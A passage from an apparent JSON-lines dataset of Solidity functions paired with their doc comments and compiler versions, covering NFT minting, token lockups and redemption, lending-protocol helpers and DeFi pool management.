memory assetPack = assetPacks[_assetPackId];\r\n require(msg.value >= assetPack.price);\r\n // if someone wants to pay more money for asset pack, we will give all of it to creator\r\n artistBalance[assetPack.creator] += msg.value * 95 / 100;\r\n artistBalance[owner] += msg.value * 5 / 100;\r\n boughtAssetPacks[_to].push(_assetPackId);\r\n hasPermission[_to][_assetPackId] = true;\r\n\r\n emit AssetPackBought(_assetPackId, _to);\r\n }", "version": "0.4.24"} {"comment": "/// @notice method that gets all unique packs from array of assets", "function_code": "function pickUniquePacks(uint[] assetIds) public view returns (uint[]) {\r\n require(assetIds.length > 0);\r\n\r\n uint[] memory packs = new uint[](assetIds.length);\r\n uint packsCount = 0;\r\n \r\n for (uint i = 0; i < assetIds.length; i++) {\r\n Asset memory asset = assets[assetIds[i]];\r\n bool exists = false;\r\n\r\n for (uint j = 0; j < packsCount; j++) {\r\n if (asset.packId == packs[j]) {\r\n exists = true;\r\n }\r\n }\r\n\r\n if (!exists) {\r\n packs[packsCount] = asset.packId;\r\n packsCount++;\r\n }\r\n }\r\n\r\n uint[] memory finalPacks = new uint[](packsCount);\r\n for (i = 0; i < packsCount; i++) {\r\n finalPacks[i] = packs[i];\r\n }\r\n\r\n return finalPacks;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Function to get array of ipfsHashes for specific assets\n/// @dev need for data parsing on frontend efficiently\n/// @param _ids is array of ids\n/// @return bytes32 array of hashes", "function_code": "function getIpfsForAssets(uint[] _ids) public view returns (bytes32[]) {\r\n bytes32[] memory hashes = new bytes32[](_ids.length);\r\n for (uint i = 0; i < _ids.length; i++) {\r\n Asset memory asset = assets[_ids[i]];\r\n hashes[i] = asset.ipfsHash;\r\n }\r\n\r\n return hashes;\r\n }", "version": "0.4.24"} {"comment": "/// @notice method that returns attributes for many assets", "function_code": "function getAttributesForAssets(uint[] _ids) public view returns(uint[]) {\r\n uint[] memory attributes = new uint[](_ids.length);\r\n \r\n for (uint i = 0; i < _ids.length; i++) {\r\n Asset memory asset = assets[_ids[i]];\r\n attributes[i] = asset.attributes;\r\n }\r\n return attributes;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Function to get ipfs hash and id for all assets in one asset pack\n/// @param _assetPackId is id of asset pack\n/// @return two arrays with data", "function_code": "function getAssetPackData(uint _assetPackId) public view \r\n returns(bytes32, address, uint, uint[], uint[], bytes32[], string, string, bytes32) {\r\n require(_assetPackId < numberOfAssetPacks);\r\n\r\n AssetPack memory assetPack = assetPacks[_assetPackId];\r\n bytes32[] memory hashes = new bytes32[](assetPack.assetIds.length);\r\n\r\n for (uint i = 0; i < assetPack.assetIds.length; i++) {\r\n hashes[i] = getAssetIpfs(assetPack.assetIds[i]);\r\n }\r\n\r\n uint[] memory attributes = getAttributesForAssets(assetPack.assetIds);\r\n\r\n return(\r\n assetPack.packCover, \r\n assetPack.creator, \r\n assetPack.price, \r\n assetPack.assetIds, \r\n attributes, \r\n hashes,\r\n assetPack.ipfsHash,\r\n userManager.getUsername(assetPack.creator),\r\n userManager.getProfilePicture(assetPack.creator)\r\n );\r\n }", "version": "0.4.24"} {"comment": "/// @notice Function to get cover image for every assetpack\n/// @param _packIds is array of asset pack ids\n/// @return bytes32[] array of hashes", "function_code": "function getCoversForPacks(uint[] _packIds) public view returns (bytes32[]) {\r\n require(_packIds.length > 0);\r\n bytes32[] memory covers = new bytes32[](_packIds.length);\r\n for (uint i = 0; i < _packIds.length; i++) {\r\n AssetPack memory assetPack = assetPacks[_packIds[i]];\r\n covers[i] = assetPack.packCover;\r\n }\r\n return covers;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * admin minting for reserved nfts (callable by Owner only)\r\n */", "function_code": "function giftNFT(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner {\r\n require(quantity.length == recipient.length, \"Invalid quantities and recipients (length mismatch)\");\r\n uint256 totalQuantity = 0;\r\n uint256 s = _owners.length;\r\n for (uint256 i = 0; i < quantity.length; ++i) {\r\n totalQuantity += quantity[i];\r\n }\r\n require(s + totalQuantity <= maxSupply, \"Exceeds Max Supply\");\r\n require(totalQuantity <= reserved, \"Exceeds Max Reserved\");\r\n\r\n // update remaining reserved count\r\n reserved -= totalQuantity;\r\n\r\n delete totalQuantity;\r\n for (uint256 i = 0; i < recipient.length; ++i) {\r\n for (uint256 j = 0; j < quantity[i]; ++j) {\r\n _mint(recipient[i], s++);\r\n }\r\n }\r\n delete s;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Moves tokens `_value` from `_from` to `_to`.\r\n *\r\n * Requirements:\r\n *\r\n * - `lockedStatus` cannot be the 1.\r\n * - `_to` cannot be the zero address.\r\n * - Unlocked Amount of `_from` must bigger than `_value`.\r\n */", "function_code": "function _transfer(\r\n address _from,\r\n address _to,\r\n uint256 _value\r\n ) internal {\r\n require(lockedStatus != 1);\r\n require(_to != 0x0);\r\n require(balanceOf[_from] >= _value);\r\n require(balanceOf[_to].add(_value) > balanceOf[_to]);\r\n require(getUnlockedAmount(_from) >= _value);\r\n uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);\r\n emit Transfer(_from, _to, _value);\r\n }", "version": "0.4.24"} {"comment": "/** @dev Lockup `amount` of the token from `account`\r\n *\r\n * Requirements:\r\n *\r\n * - Balance of `account` has to be bigger than `amount`.\r\n */", "function_code": "function lockAccount (address account, uint256 amount) public onlyOwner {\r\n require(balanceOf[account] >= amount);\r\n uint flag = 0;\r\n for (uint i = 0; i < lockupAccount.length; i++) {\r\n if (lockupAccount[i].account == account) {\r\n lockupAccount[i].amount = amount;\r\n flag = flag + 1;\r\n break;\r\n }\r\n }\r\n if(flag == 0) {\r\n lockupAccount.push(LockList(account, amount));\r\n }\r\n }", "version": "0.4.24"} {"comment": "/** @dev Return amount of locked tokens from `account`\r\n *\r\n */", "function_code": "function getLockedAmount(address account) public view returns (uint256) {\r\n uint256 res = 0;\r\n for (uint i = 0; i < lockupAccount.length; i++) {\r\n if (lockupAccount[i].account == account) {\r\n res = lockupAccount[i].amount;\r\n break;\r\n }\r\n }\r\n return res;\r\n }", "version": "0.4.24"} {"comment": "// dev team mint", "function_code": "function devMint(uint256 _mintAmount) public onlyEOA onlyOwner {\n require(!paused); // contract is not paused\n uint256 supply = totalSupply(); // get current mintedAmount\n require(\n supply + _mintAmount <= maxSupply,\n \"SHOGUN: total mint amount exceeded supply, try lowering amount\"\n );\n for (uint256 i = 1; i <= _mintAmount; i++) {\n _safeMint(msg.sender, supply + i);\n }\n }", "version": "0.8.0"} {"comment": "/**\n * @dev External function to purchase tokens.\n * @param _amount Token amount to buy\n */", "function_code": "function purchase(uint256 _amount) external payable {\n require(price > 0, \"BattleRoyale: Token price is zero\");\n require(\n battleState == BATTLE_STATE.STANDBY,\n \"BattleRoyale: Current battle state is not ready to purchase tokens\"\n );\n require(\n maxSupply > 0 && totalSupply < maxSupply,\n \"BattleRoyale: The NFTs you attempted to purchase is now sold out\"\n );\n require(block.timestamp >= startingTime, \"BattleRoyale: Not time to purchase\");\n\n if (msg.sender != owner()) {\n require(\n _amount <= maxSupply - totalSupply && _amount > 0 && _amount <= unitsPerTransaction,\n \"BattleRoyale: Out range of token amount\"\n );\n require(bytes(defaultTokenURI).length > 0, \"BattleRoyale: Default token URI is not set\");\n require(\n msg.value >= (price * _amount),\n \"BattleRoyale: Caller hasn't got enough ETH for buying tokens\"\n );\n }\n\n for (uint256 i = 0; i < _amount; i++) {\n uint256 tokenId = totalSupply + i + 1;\n\n _safeMint(msg.sender, tokenId);\n\n string memory tokenURI = string(abi.encodePacked(baseURI, defaultTokenURI));\n\n _setTokenURI(tokenId, tokenURI);\n\n inPlay.push(uint32(tokenId));\n }\n\n totalSupply += _amount;\n\n emit Purchased(msg.sender, _amount, totalSupply);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev External function to end the battle. This function can be called only by owner.\n * @param _winnerTokenId Winner token Id in battle\n */", "function_code": "function endBattle(uint256 _winnerTokenId) external onlyOwner {\n require(battleState == BATTLE_STATE.RUNNING, \"BattleRoyale: Battle is not started\");\n battleState = BATTLE_STATE.ENDED;\n\n uint256 tokenId = totalSupply + 1;\n\n address winnerAddress = ownerOf(_winnerTokenId);\n _safeMint(winnerAddress, tokenId);\n\n string memory tokenURI = string(abi.encodePacked(baseURI, prizeTokenURI));\n _setTokenURI(tokenId, tokenURI);\n\n emit BattleEnded(address(this), tokenId, prizeTokenURI);\n }", "version": "0.8.6"} {"comment": "/// @notice Transfers tokens from the targeted address to the given destination\n/// @notice Errors with 'STF' if transfer fails\n/// @param token The contract address of the token to be transferred\n/// @param from The originating address from which the tokens will be transferred\n/// @param to The destination address of the transfer\n/// @param value The amount to be transferred", "function_code": "function safeTransferFrom(\r\n address token,\r\n address from,\r\n address to,\r\n uint256 value\r\n ) internal {\r\n (bool success, bytes memory data) =\r\n token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));\r\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');\r\n }", "version": "0.8.7"} {"comment": "/// @notice Transfers NFT from the targeted address to the given destination\n/// @notice Errors with 'STF' if transfer fails\n/// @param token The contract address of the token to be transferred\n/// @param from The originating address from which the tokens will be transferred\n/// @param to The destination address of the transfer\n/// @param tokenId the id of the token need to be transfered", "function_code": "function safeTransferNFTFrom(\r\n address token,\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal {\r\n (bool success, bytes memory data) =\r\n token.call(abi.encodeWithSelector(IERC721.transferFrom.selector, from, to, tokenId));\r\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Calls multiple functions on the contract deployed in `target` address. Only callable by owner of BatchRelayer.\n * @param target the destination contract.\n * @param data encoded method calls with arguments.\n * @return results of the method calls.\n */", "function_code": "function relay(address target, bytes[] calldata data) external onlyOwner() returns (bytes[] memory results) {\n results = new bytes[](data.length);\n for (uint256 i = 0; i < data.length; i++) {\n results[i] = Address.functionCall(target, data[i]);\n }\n return results;\n }", "version": "0.8.9"} {"comment": "/**\r\n * Mint CMoons\r\n */", "function_code": "function mintCMoons(uint256 numberOfTokens) public payable {\r\n require(saleIsActive, \"Sorry, but the minting is not available now.\");\r\n require(\r\n numberOfTokens <= MAX_PURCHASE,\r\n \"Sorry, but you can only mint 5 tokens total.\"\r\n );\r\n require(\r\n totalSupply().add(numberOfTokens) <= MAX_TOKENS,\r\n \"Sorry, but we don't have that many Moons left.\"\r\n );\r\n require(\r\n CURRENT_PRICE.mul(numberOfTokens) <= msg.value,\r\n \"Sorry, but the value is inaccurate. Please take the number of Moons times 0.05\"\r\n );\r\n uint256 first_encounter = block.timestamp;\r\n uint256 tokenId;\r\n\r\n for (uint256 i = 1; i <= numberOfTokens; i++) {\r\n tokenId = totalSupply().add(1);\r\n if (tokenId <= MAX_TOKENS) {\r\n _safeMint(msg.sender, tokenId);\r\n _cMoonsDetails[tokenId] = CMoonsDetail(first_encounter);\r\n emit TokenMinted(tokenId, msg.sender, first_encounter);\r\n }\r\n }\r\n\r\n if(tokenId > 2869 && tokenId <= MAX_TOKENS){\r\n LOTTERY_ADDRESS.transfer(0.05 ether);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * registe a pool\r\n */", "function_code": "function addPool(address poolAddr, address rewardToken)\r\n external\r\n {\r\n require(msg.sender == _governance || msg.sender == factoryAddress, \"not governance or factory\");\r\n require( _pools[poolAddr] == address(0), \"derp, that pool already been registered\");\r\n\r\n _pools[poolAddr] = rewardToken;\r\n _refer1RewardRate[poolAddr] = 700;\r\n _refer2RewardRate[poolAddr] = 300;\r\n\r\n _poolOwner[poolAddr] = tx.origin;\r\n _allpools.push(poolAddr);\r\n\r\n emit eveAddPool(poolAddr);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev set refer reward rate\r\n */", "function_code": "function setReferRewardRate(address poolAddr, uint256 refer1Rate, uint256 refer2Rate ) public\r\n {\r\n require(msg.sender == _governance || msg.sender == _poolOwner[poolAddr], \"not governance or owner\");\r\n\r\n require(_pools[poolAddr] != address(0),\"invalid pool address!\");\r\n\r\n _refer1RewardRate[poolAddr] = refer1Rate;\r\n _refer2RewardRate[poolAddr] = refer2Rate;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Transfer tokens from one address to another or sell them if _to is this contract or zero address\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amout of tokens to be transfered\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n if( (_to == address(this)) || (_to == 0) ){\r\n var _allowance = allowed[_from][msg.sender];\r\n require (_value <= _allowance);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n return sell(_from, _value);\r\n }else{\r\n return super.transferFrom(_from, _to, _value);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Fuction called when somebody is buying tokens\r\n * @param who The address of buyer (who will own bought tokens)\r\n * @param amount The amount to be transferred.\r\n */", "function_code": "function buy(address who, uint256 amount) canBuyAndSell internal returns(bool){\r\n require(amount >= minBuyAmount);\r\n currentPeriodEtherCollected = currentPeriodEtherCollected.add(amount);\r\n receivedEther[who] = receivedEther[who].add(amount); //if this is first operation from this address, initial value of receivedEther[to] == 0\r\n Sale(who, amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Fuction called when somebody is selling his tokens\r\n * @param who The address of seller (whose tokens are sold)\r\n * @param amount The amount to be transferred.\r\n */", "function_code": "function sell(address who, uint256 amount) canBuyAndSell internal returns(bool){\r\n require(amount >= minSellAmount);\r\n currentPeriodTokenCollected = currentPeriodTokenCollected.add(amount);\r\n soldTokens[who] = soldTokens[who].add(amount); //if this is first operation from this address, initial value of soldTokens[to] == 0\r\n totalSupply = totalSupply.sub(amount);\r\n Redemption(who, amount);\r\n Transfer(who, address(0), amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Start distribution phase\r\n * @param _currentPeriodRate exchange rate for current distribution\r\n */", "function_code": "function startDistribution(uint256 _currentPeriodRate) onlyOwner public {\r\n require(currentState != State.Distribution); //owner should not be able to change rate after distribution is started, ensures that everyone have the same rate\r\n require(_currentPeriodRate != 0); //something has to be distributed!\r\n //require(now >= currentPeriodEndTimestamp) //DO NOT require period end timestamp passed, because there can be some situations when it is neede to end it sooner. But this should be done with extremal care, because of possible race condition between new sales/purshases and currentPeriodRate definition\r\n\r\n currentState = State.Distribution;\r\n currentPeriodRate = _currentPeriodRate;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Distribute tokens to buyers\r\n * @param buyers an array of addresses to pay tokens for their ether. Should be composed from outside by reading Sale events \r\n */", "function_code": "function distributeTokens(address[] buyers) onlyOwner public {\r\n require(currentState == State.Distribution);\r\n require(currentPeriodRate > 0);\r\n for(uint256 i=0; i < buyers.length; i++){\r\n address buyer = buyers[i];\r\n require(buyer != address(0));\r\n uint256 etherAmount = receivedEther[buyer];\r\n if(etherAmount == 0) continue; //buyer not found or already paid\r\n uint256 tokenAmount = etherAmount.mul(currentPeriodRate);\r\n uint256 fee = tokenAmount.mul(buyFeeMilliPercent).div(MILLI_PERCENT_DIVIDER);\r\n tokenAmount = tokenAmount.sub(fee);\r\n \r\n receivedEther[buyer] = 0;\r\n currentPeriodEtherCollected = currentPeriodEtherCollected.sub(etherAmount);\r\n //mint tokens\r\n totalSupply = totalSupply.add(tokenAmount);\r\n balances[buyer] = balances[buyer].add(tokenAmount);\r\n Transfer(address(0), buyer, tokenAmount);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Distribute ether to sellers\r\n * If not enough ether is available on contract ballance\r\n * @param sellers an array of addresses to pay ether for their tokens. Should be composed from outside by reading Redemption events \r\n */", "function_code": "function distributeEther(address[] sellers) onlyOwner payable public {\r\n require(currentState == State.Distribution);\r\n require(currentPeriodRate > 0);\r\n for(uint256 i=0; i < sellers.length; i++){\r\n address seller = sellers[i];\r\n require(seller != address(0));\r\n uint256 tokenAmount = soldTokens[seller];\r\n if(tokenAmount == 0) continue; //seller not found or already paid\r\n uint256 etherAmount = tokenAmount.div(currentPeriodRate);\r\n uint256 fee = etherAmount.mul(sellFeeMilliPercent).div(MILLI_PERCENT_DIVIDER);\r\n etherAmount = etherAmount.sub(fee);\r\n \r\n soldTokens[seller] = 0;\r\n currentPeriodTokenCollected = currentPeriodTokenCollected.sub(tokenAmount);\r\n if(!seller.send(etherAmount)){\r\n //in this case we can only log error and let owner to handle it manually\r\n DistributionError(seller, etherAmount);\r\n owner.transfer(etherAmount); //assume this should not fail..., overwise - change owner\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\n * Accepts required payment and mints a specified number of tokens to an address.\n * This method also checks if direct purchase is enabled.\n */", "function_code": "function purchase(uint256 count) public payable nonReentrant {\n require(!msg.sender.isContract(), 'BASE_COLLECTION/CONTRACT_CANNOT_CALL');\n requireMintingConditions(msg.sender, count);\n\n require(isPurchaseEnabled, 'BASE_COLLECTION/PURCHASE_DISABLED');\n\n require(\n (_publicSaleTime != 0 && _publicSaleTime < block.timestamp) || (isPreSaleActive && _preSaleAllowList[msg.sender]),\n \"BASE_COLLECTION/CANNOT_MINT\"\n );\n\n // Sent value matches required ETH amount\n require(PRICE * count <= msg.value, 'BASE_COLLECTION/INSUFFICIENT_ETH_AMOUNT');\n\n for (uint256 i = 0; i < count; i++) {\n uint256 newTokenId = _getNextTokenId();\n _safeMint(msg.sender, newTokenId);\n _incrementTokenId();\n }\n }", "version": "0.8.9"} {"comment": "/// @inheritdoc IHistoryERC721", "function_code": "function eventData(uint eventId) external view override returns(\r\n uint totalMintFee,\r\n string memory _name,\r\n string memory contentHash,\r\n string memory contentDomain,\r\n uint firstMintTime\r\n ){\r\n EventMeta memory meta = eventMeta[eventId];\r\n totalMintFee = meta.totalMintFee;\r\n _name = eventName[eventId];\r\n contentDomain = allowedDomain[meta.domainId];\r\n contentHash = eventContentHash[eventId];\r\n firstMintTime = meta.firstMintTime;\r\n }", "version": "0.8.7"} {"comment": "/// @inheritdoc IERC721Metadata", "function_code": "function tokenURI(uint256 tokenId) public view override(IERC721Metadata, ERC721) returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n (uint evtId, uint reportId) = _tokenIdSplit(tokenId);\r\n EventMeta memory meta = eventMeta[evtId];\r\n string memory contentDomain = allowedDomain[meta.domainId];\r\n string memory head = meta.sslOn ? \"https://\" : \"http://\";\r\n string memory contentUrl = string(abi.encodePacked(head, contentDomain, eventContentHash[evtId]));\r\n string memory name = string(abi.encodePacked(eventName[evtId],\" #\",reportId.toString()));\r\n string memory description = string(abi.encodePacked(\r\n \"History V1 NFT of event \",\r\n evtId.toString(),\r\n \" : \",\r\n eventName[evtId],\r\n \", report id is \",\r\n reportId.toString(),\r\n \".\"\r\n ));\r\n\r\n return\r\n string(\r\n abi.encodePacked(\r\n 'data:application/json;base64,',\r\n Base64.encode(\r\n bytes(\r\n abi.encodePacked(\r\n '{\"name\":\"',\r\n name,\r\n '\", \"description\":\"',\r\n description,\r\n '\", \"content\": \"',\r\n contentUrl,\r\n '\"}'\r\n )\r\n )\r\n )\r\n )\r\n );\r\n }", "version": "0.8.7"} {"comment": "/// @notice Checks if the join address is one of the Ether coll. types\n/// @param _joinAddr Join address to check", "function_code": "function isEthJoinAddr(address _joinAddr) internal view returns (bool) {\n // if it's dai_join_addr don't check gem() it will fail\n if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false;\n\n // if coll is weth it's and eth type coll\n if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) {\n return true;\n }\n\n return false;\n }", "version": "0.6.12"} {"comment": "/// @notice Takes a src amount of tokens and converts it into the dest token\n/// @dev Takes fee from the _srcAmount before the exchange\n/// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x]\n/// @param _user User address who called the exchange", "function_code": "function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) {\n\n exData.dfsFeeDivider = SERVICE_FEE;\n exData.user = _user;\n\n // Perform the exchange\n (address wrapper, uint destAmount) = _sell(exData);\n\n // send back any leftover ether or tokens\n sendLeftover(exData.srcAddr, exData.destAddr, _user);\n\n // log the event\n logger.Log(address(this), msg.sender, \"ExchangeSell\", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount));\n }", "version": "0.6.12"} {"comment": "/// @notice Takes a dest amount of tokens and converts it from the src token\n/// @dev Send always more than needed for the swap, extra will be returned\n/// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x]\n/// @param _user User address who called the exchange", "function_code": "function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){\n\n exData.dfsFeeDivider = SERVICE_FEE;\n exData.user = _user;\n\n // Perform the exchange\n (address wrapper, uint srcAmount) = _buy(exData);\n\n // send back any leftover ether or tokens\n sendLeftover(exData.srcAddr, exData.destAddr, _user);\n\n // log the event\n logger.Log(address(this), msg.sender, \"ExchangeBuy\", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount));\n\n }", "version": "0.6.12"} {"comment": "/// @notice User deposits tokens to the Aave protocol\n/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens\n/// @param _tokenAddr The address of the token to be deposited\n/// @param _amount Amount of tokens to be deposited", "function_code": "function deposit(address _tokenAddr, uint256 _amount) public burnGas(5) payable {\n address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();\n address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();\n\n uint ethValue = _amount;\n\n if (_tokenAddr != ETH_ADDR) {\n ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount);\n approveToken(_tokenAddr, lendingPoolCore);\n ethValue = 0;\n }\n\n ILendingPool(lendingPool).deposit{value: ethValue}(_tokenAddr, _amount, AAVE_REFERRAL_CODE);\n\n setUserUseReserveAsCollateralIfNeeded(_tokenAddr);\n }", "version": "0.6.12"} {"comment": "/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens\n/// @notice User paybacks tokens to the Aave protocol\n/// @param _tokenAddr The address of the token to be paybacked\n/// @param _aTokenAddr ATokens to be paybacked\n/// @param _amount Amount of tokens to be payed back\n/// @param _wholeDebt If true the _amount will be set to the whole amount of the debt", "function_code": "function payback(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt) public burnGas(3) payable {\n address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();\n address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();\n\n uint256 amount = _amount;\n\n (,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this));\n\n if (_wholeDebt) {\n amount = borrowAmount + originationFee;\n }\n\n if (_tokenAddr != ETH_ADDR) {\n ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount);\n approveToken(_tokenAddr, lendingPoolCore);\n }\n\n ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, payable(address(this)));\n\n withdrawTokens(_tokenAddr);\n }", "version": "0.6.12"} {"comment": "/// @notice Helper method to withdraw tokens from the DSProxy\n/// @param _tokenAddr Address of the token to be withdrawn", "function_code": "function withdrawTokens(address _tokenAddr) public {\n uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this));\n\n if (amount > 0) {\n if (_tokenAddr != ETH_ADDR) {\n ERC20(_tokenAddr).safeTransfer(msg.sender, amount);\n } else {\n msg.sender.transfer(amount);\n }\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Withdraws collateral, converts to borrowed token and repays debt\n/// @dev Called through the DSProxy\n/// @param _exData Exchange data\n/// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress]\n/// @param _gasCost Gas cost for specific transaction", "function_code": "function repay(\n ExchangeData memory _exData,\n address[2] memory _cAddresses, // cCollAddress, cBorrowAddress\n uint256 _gasCost\n ) public payable {\n enterMarket(_cAddresses[0], _cAddresses[1]);\n\n address payable user = payable(getUserAddress());\n\n uint maxColl = getMaxCollateral(_cAddresses[0], address(this));\n\n uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount;\n\n require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0);\n\n address collToken = getUnderlyingAddr(_cAddresses[0]);\n address borrowToken = getUnderlyingAddr(_cAddresses[1]);\n\n uint swapAmount = 0;\n\n if (collToken != borrowToken) {\n _exData.srcAmount = collAmount;\n _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE;\n _exData.user = user;\n\n (, swapAmount) = _sell(_exData);\n swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);\n } else {\n swapAmount = collAmount;\n swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);\n }\n\n paybackDebt(swapAmount, _cAddresses[1], borrowToken, user);\n\n // handle 0x fee\n tx.origin.transfer(address(this).balance);\n\n // log amount, collToken, borrowToken\n logger.Log(address(this), msg.sender, \"CompoundRepay\", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));\n }", "version": "0.6.12"} {"comment": "/// @notice Borrows token, converts to collateral, and adds to position\n/// @dev Called through the DSProxy\n/// @param _exData Exchange data\n/// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress]\n/// @param _gasCost Gas cost for specific transaction", "function_code": "function boost(\n ExchangeData memory _exData,\n address[2] memory _cAddresses, // cCollAddress, cBorrowAddress\n uint256 _gasCost\n ) public payable {\n enterMarket(_cAddresses[0], _cAddresses[1]);\n\n address payable user = payable(getUserAddress());\n\n uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this));\n uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount;\n\n require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0);\n\n address collToken = getUnderlyingAddr(_cAddresses[0]);\n address borrowToken = getUnderlyingAddr(_cAddresses[1]);\n\n uint swapAmount = 0;\n\n if (collToken != borrowToken) {\n _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE;\n _exData.user = user;\n\n _exData.srcAmount = borrowAmount;\n (, swapAmount) = _sell(_exData);\n\n swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);\n } else {\n swapAmount = borrowAmount;\n swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);\n }\n\n approveCToken(collToken, _cAddresses[0]);\n\n if (collToken != ETH_ADDRESS) {\n require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0);\n } else {\n CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail\n }\n\n // handle 0x fee\n tx.origin.transfer(address(this).balance);\n\n // log amount, collToken, borrowToken\n logger.Log(address(this), msg.sender, \"CompoundBoost\", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));\n }", "version": "0.6.12"} {"comment": "// Wind down pool exists just in case one of the pools is broken", "function_code": "function wind_down_pool(uint256 pool, uint256 epoch) external {\r\n require(msg.sender == team_address || msg.sender == governance, \"must be team or governance\");\r\n require(epoch == 15, \"v1.15: only epoch 15\");\r\n uint256 current_epoch = get_current_epoch();\r\n require(epoch < current_epoch, \"cannot wind down future epoch\");\r\n\r\n if (pool == uint(-1)) {\r\n require(!epoch_wound_down[epoch], \"epoch already wound down\");\r\n epoch_wound_down[epoch] = true;\r\n\r\n // Team Funds - https://miro.medium.com/max/568/1*8vnnKp4JzzCA3tNqW246XA.png\r\n uint256 team_sfi = 54 * 1 ether;\r\n SFI(SFI_address).mint_SFI(team_address, team_sfi);\r\n } else {\r\n uint256 rewardSFI = 0;\r\n if (pool < pool_SFI_rewards.length) {\r\n rewardSFI = pool_SFI_rewards[pool];\r\n SFI(SFI_address).mint_SFI(pools[pool], rewardSFI);\r\n }\r\n ISaffronPool(pools[pool]).wind_down_epoch(epoch, rewardSFI);\r\n }\r\n }", "version": "0.7.4"} {"comment": "// Deploy all capital in pool (funnel 100% of pooled base assets into best adapter)", "function_code": "function deploy_all_capital() external override {\r\n require(block.timestamp >= last_deploy + (deploy_interval), \"deploy call too soon\" );\r\n last_deploy = block.timestamp;\r\n\r\n // DAI/Compound\r\n ISaffronPool pool = ISaffronPool(pools[0]);\r\n IERC20 base_asset = IERC20(pool.get_base_asset_address());\r\n if (base_asset.balanceOf(pools[0]) > 0) pool.hourly_strategy(adapters[0]);\r\n\r\n // DAI/Rari\r\n pool = ISaffronPool(pools[9]);\r\n base_asset = IERC20(pool.get_base_asset_address());\r\n if (base_asset.balanceOf(pools[9]) > 0) pool.hourly_strategy(adapters[1]);\r\n\r\n // wBTC/Compound\r\n pool = ISaffronPool(pools[4]);\r\n base_asset = IERC20(pool.get_base_asset_address());\r\n if (base_asset.balanceOf(pools[4]) > 0) pool.hourly_strategy(adapters[2]);\r\n\r\n // USDT/Compound\r\n pool = ISaffronPool(pools[11]);\r\n base_asset = 